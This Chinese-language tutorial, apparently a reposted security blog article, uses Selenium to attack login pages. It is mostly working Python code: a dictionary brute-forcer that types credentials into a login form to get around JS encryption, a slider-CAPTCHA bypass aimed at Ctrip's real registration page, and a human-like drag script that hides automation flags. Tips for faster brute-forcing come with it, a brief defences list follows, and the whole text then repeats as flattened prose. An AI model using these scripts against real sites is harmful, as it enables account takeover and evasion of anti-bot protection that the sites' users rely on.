从0到0.1,selenium模块在登录处的基础渗透应用
字数 866 2025-08-13 21:33:20

Selenium模块在登录渗透测试中的基础应用

一、环境安装与配置

1. 安装Selenium库

pip install selenium

2. 安装浏览器驱动

3. 配置环境变量

  • 将下载的浏览器驱动(如chromedriver.exe)放到Python安装目录的Scripts文件夹下
  • 确保Scripts路径已在系统环境变量中

4. 验证环境

from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://www.baidu.com')

二、自动化操作实战

1. 登录处爆破绕过JS加密

应用场景

当登录请求因JS加密导致抓包看不到明文账号密码时,可模拟人工输入进行爆破

代码实现

# -*-coding:utf-8-*-
from selenium import webdriver
from time import sleep

def BaoPao_login():
    # 打开浏览器访问登录页面
    browser = webdriver.Chrome()
    browser.get('https://xxxx/User/Login')
    
    # 加载字典文件
    with open(r'D:\\username.txt', 'r', encoding='utf8') as user:
        users = user.readlines()
    with open(r'D:\\password.txt', 'r', encoding='utf8') as password:
        passwords = password.readlines()
    
    # 开始爆破
    for user in users:
        for password in passwords:
            # 去除换行符
            user = user.strip()
            password = password.strip()
            
            # 定位并输入账号密码
            browser.find_element_by_id('username').send_keys(user)
            browser.find_element_by_id('password').send_keys(password)
            
            # 点击登录按钮
            browser.find_element_by_xpath("//input[@class='btn btn-primary login-button']").click()
            
            # 延时等待表单提交
            sleep(2)
            
            # 清理已输入的账号密码
            browser.find_element_by_id('username').clear()
            browser.find_element_by_id('password').clear()

if __name__ == '__main__':
    BaoPao_login()

优化技巧

  • 降低延时时间可加快爆破速度
  • 不显示浏览器界面可提高效率
  • 将字典文件放在磁盘根目录可加快读取速度

元素定位方法

  1. 通过ID定位
browser.find_element_by_id('username')
  1. 通过name定位
browser.find_element_by_name("wd")
  1. 通过class name定位
browser.find_element_by_class_name("s_ipt")
  1. 通过XPath定位(推荐)
browser.find_element_by_xpath('//*[@id="username"]')
  1. 通过CSS选择器定位(最推荐)
browser.find_element_by_css_selector("#username")

开发技巧

2. 绕过滑动验证码(以携程注册为例)

代码实现

from time import sleep
from selenium import webdriver
from selenium.webdriver import ActionChains

def RaoHuaDong_Code():
    browser = webdriver.Chrome()
    browser.get('https://passport.ctrip.com/user/reg/home')
    
    # 处理用户协议弹窗
    browser.find_element_by_xpath('//*[@id="agr_pop"]/div[3]/a[2]').click()
    sleep(0.5)
    
    # 定位滑块和滑槽
    XKK = browser.find_element_by_xpath('//*[@id="slideCode"]/div[1]/div[2]')  # 滑块
    DKK = browser.find_element_by_xpath('//*[@id="slideCode"]/div[1]/div[4]')  # 滑槽
    
    # 模拟拖拽动作
    ActionChains(browser).drag_and_drop_by_offset(XKK, DKK.size['width'], 0).perform()

if __name__ == '__main__':
    RaoHuaDong_Code()

3. 复杂滑块验证码绕过尝试(以某控登录为例)

代码实现

from time import sleep
from selenium import webdriver
from selenium.webdriver import ActionChains
from selenium.webdriver import ChromeOptions

def get_distance(TotalDistance):
    """模拟人手滑动轨迹(先加速后减速)"""
    location_list = []
    t = 0.1  # 每0.1秒记录一次
    current_location = 0  # 当前位置
    v = 0  # 初速度
    
    while current_location < TotalDistance:
        if current_location < TotalDistance/2:
            acceleration = 2  # 前半段加速
        else:
            acceleration = -2  # 后半段减速
            
        v0 = v
        v = v0 + acceleration * t
        move = v0 * t + 1/2 * acceleration * t * t
        current_location += move
        location_list.append(current_location)
    
    return location_list

def RaoGuoHuaKuai_code():
    # 尝试隐藏自动化特征(效果有限)
    option = ChromeOptions()
    option.add_experimental_option('excludeSwitches', ['enable-automation'])
    option.add_argument("--disable-blink-features")
    option.add_argument("--disable-blink-features=AutomationControlled")
    
    browser = webdriver.Chrome(options=option)
    browser.get('https://xxxx/user/login.html')
    
    # 输入账号密码
    sleep(2)
    browser.find_element_by_xpath('//*[@id="user"]').send_keys('xlz')
    browser.find_element_by_xpath('//*[@id="pass"]').send_keys('123456')
    
    # 点击登录
    sleep(2)
    browser.find_element_by_xpath('//*[@id="login"]').click()
    
    # 等待验证码加载
    sleep(2)
    
    # 定位滑块
    start_HK = browser.find_element_by_xpath('/html/body/div[2]/div[2]/div[6]/div/div[1]/div[2]/div[2]')
    action = ActionChains(browser)
    
    # 点击并保持滑块
    action.click_and_hold(start_HK).perform()
    
    # 获取模拟滑动轨迹
    distances_list = get_distance(key)
    print(distances_list)
    
    # 一次性移动到位(对于极验验证码)
    action.move_by_offset(xoffset=key, yoffset=0).perform()
    sleep(3)
    
    # 分段移动(适用于可累计移动的验证码)
    """
    for i in distances_list:
        action.move_by_offset(xoffset=i, yoffset=0).perform()
        action.reset_actions()
    """

if __name__ == '__main__':
    key = 140  # 滑块需要移动的总距离(通过开发者工具查看)
    RaoGuoHuaKuai_code()

注意事项

  • 滑块总距离(key)需要通过开发者工具手动测量
  • 极验等高级验证码不支持累计移动,必须一次性到位
  • 隐藏自动化特征的方法对大公司网站效果有限

三、防御措施

  1. 检测Selenium特征

    • 检查浏览器自动化标志
    • 检测常见自动化工具指纹
  2. 增强验证码机制

    • 使用行为分析验证是否为真人操作
    • 实现多因素验证
  3. 监控异常登录行为

    • 检测高频登录尝试
    • 实现IP限制和账号锁定机制

四、总结

本文介绍了Selenium在登录渗透测试中的基础应用,包括:

  1. 环境配置与验证
  2. 自动化登录爆破绕过JS加密
  3. 滑动验证码绕过技术
  4. 复杂滑块验证码的尝试绕过

关键点:

  • 熟练掌握元素定位方法(XPath和CSS选择器最可靠)
  • 理解模拟人工操作的行为模式
  • 认识自动化工具的局限性(对大公司网站效果有限)

参考资料:

Selenium模块在登录渗透测试中的基础应用 一、环境安装与配置 1. 安装Selenium库 2. 安装浏览器驱动 根据浏览器种类和版本下载对应驱动 以Chrome为例,下载chromedriver 参考文章: 浏览器驱动下载指南 3. 配置环境变量 将下载的浏览器驱动(如chromedriver.exe)放到Python安装目录的Scripts文件夹下 确保Scripts路径已在系统环境变量中 4. 验证环境 二、自动化操作实战 1. 登录处爆破绕过JS加密 应用场景 当登录请求因JS加密导致抓包看不到明文账号密码时,可模拟人工输入进行爆破 代码实现 优化技巧 降低延时时间可加快爆破速度 不显示浏览器界面可提高效率 将字典文件放在磁盘根目录可加快读取速度 元素定位方法 通过ID定位 通过name定位 通过class name定位 通过XPath定位(推荐) 通过CSS选择器定位(最推荐) 开发技巧 右键元素选择"Copy"可获取现成的定位代码 参考文章: Selenium基本操作 2. 绕过滑动验证码(以携程注册为例) 代码实现 3. 复杂滑块验证码绕过尝试(以某控登录为例) 代码实现 注意事项 滑块总距离(key)需要通过开发者工具手动测量 极验等高级验证码不支持累计移动,必须一次性到位 隐藏自动化特征的方法对大公司网站效果有限 三、防御措施 检测Selenium特征 检查浏览器自动化标志 检测常见自动化工具指纹 增强验证码机制 使用行为分析验证是否为真人操作 实现多因素验证 监控异常登录行为 检测高频登录尝试 实现IP限制和账号锁定机制 四、总结 本文介绍了Selenium在登录渗透测试中的基础应用,包括: 环境配置与验证 自动化登录爆破绕过JS加密 滑动验证码绕过技术 复杂滑块验证码的尝试绕过 关键点: 熟练掌握元素定位方法(XPath和CSS选择器最可靠) 理解模拟人工操作的行为模式 认识自动化工具的局限性(对大公司网站效果有限) 参考资料: 浏览器驱动下载指南 Selenium基本操作